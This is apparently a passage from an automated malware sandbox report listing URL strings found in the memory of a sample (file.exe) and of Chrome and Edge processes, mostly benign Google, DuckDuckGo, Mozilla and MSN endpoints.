Source: chrome.exe, 00000003.00000002.2433948066.0000716C02928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, JEGHJDGIJECGDHJJECGH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, JEGHJDGIJECGDHJJECGH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000003.00000002.2456626661.0000716C02F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1
Source: chrome.exe, 00000003.00000002.2456626661.0000716C02F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1Cross-Origin-Opener-Policy:
Source: chrome.exe, 00000003.00000002.2456626661.0000716C02F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1rj
Source: chrome.exe, 00000003.00000002.2456626661.0000716C02F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/cdt1
Source: chrome.exe, 00000003.00000002.2439120082.0000716C02CA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000003.00000002.2367428148.0000716C024F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2369569918.0000716C0267C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2458189061.0000716C03144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434650320.0000716C029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434872104.0000716C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434650320.0000716C029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434872104.0000716C02A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434650320.0000716C029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434872104.0000716C02A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2369569918.0000716C0267C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2371631544.0000716C02704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2433948066.0000716C02928000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2458217336.0000716C03164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2369569918.0000716C0267C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2371631544.0000716C02704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2433948066.0000716C02928000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2458217336.0000716C03164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: file.exe, file.exe, 00000000.00000003.2155476235.000000000558B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2701244031.000000006CD21000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000003.00000002.2367428148.0000716C024F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000003.00000002.2367428148.0000716C024F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2368519522.0000716C02584000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2433486336.0000716C028F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000003.00000002.2433486336.0000716C028F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000003.00000002.2434650320.0000716C029C8000.00000004.00000800.00020000.00000000.sdmp, AKJDGIEH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chrome.exe, 00000003.00000002.2425440397.0000716C027CC000.00000004.00000800.00020000.00000000.sdmp, AKJDGIEH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: AKJDGIEH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icondTripTime
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/$
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/.
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247313729.000041080039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/5
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/8
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/?
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/B
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/G
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/I
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/J
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/L
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Q
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/S
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/T
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/V
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/c
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/e
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/f
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/g
Source: chrome.exe, 00000003.00000003.2247524241.0000410800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gj
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/h
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/j
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/o
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/p
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/q
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/r
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/t
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/w
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/y
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/z
Source: chrome.exe, 00000003.00000003.2247524241.0000410800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2362727896.000041080078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247313729.000041080039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.2247524241.0000410800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/A
Source: chrome.exe, 00000003.00000003.2247524241.0000410800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000003.00000003.2247524241.0000410800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000003.00000003.2247923327.00004108006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2295730603.0000716C03C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2295819977.0000716C03C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2295790858.0000716C03C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000003.00000003.2247313729.000041080039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: chrome.exe, 00000003.00000003.2295819977.0000716C03C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/ql
Source: chrome.exe, 00000003.00000002.2364770737.0000716C02270000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2364352752.0000716C0220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2463022277.00000E20003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000003.00000002.2426018969.0000716C02830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, JEGHJDGIJECGDHJJECGH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273U
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434650320.0000716C029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434872104.0000716C02A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434650320.0000716C029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434872104.0000716C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEklyql
Source: chrome.exe, 00000003.00000003.2295140899.0000716C03B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438815770.0000716C02C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000003.2295140899.0000716C03B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.2247313729.000041080039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000002.2359404539.0000410800238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2362625154.0000410800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardA
Source: chrome.exe, 00000003.00000003.2247313729.000041080039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000002.2362625154.0000410800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.2295140899.0000716C03B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardql
Source: chrome.exe, 00000003.00000002.2362625154.0000410800770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438815770.0000716C02C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.2291613816.0000716C030FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source
Source: chrome.exe, 00000003.00000002.2369428302.0000716C0266C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000003.00000003.2270157048.0000716C02D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
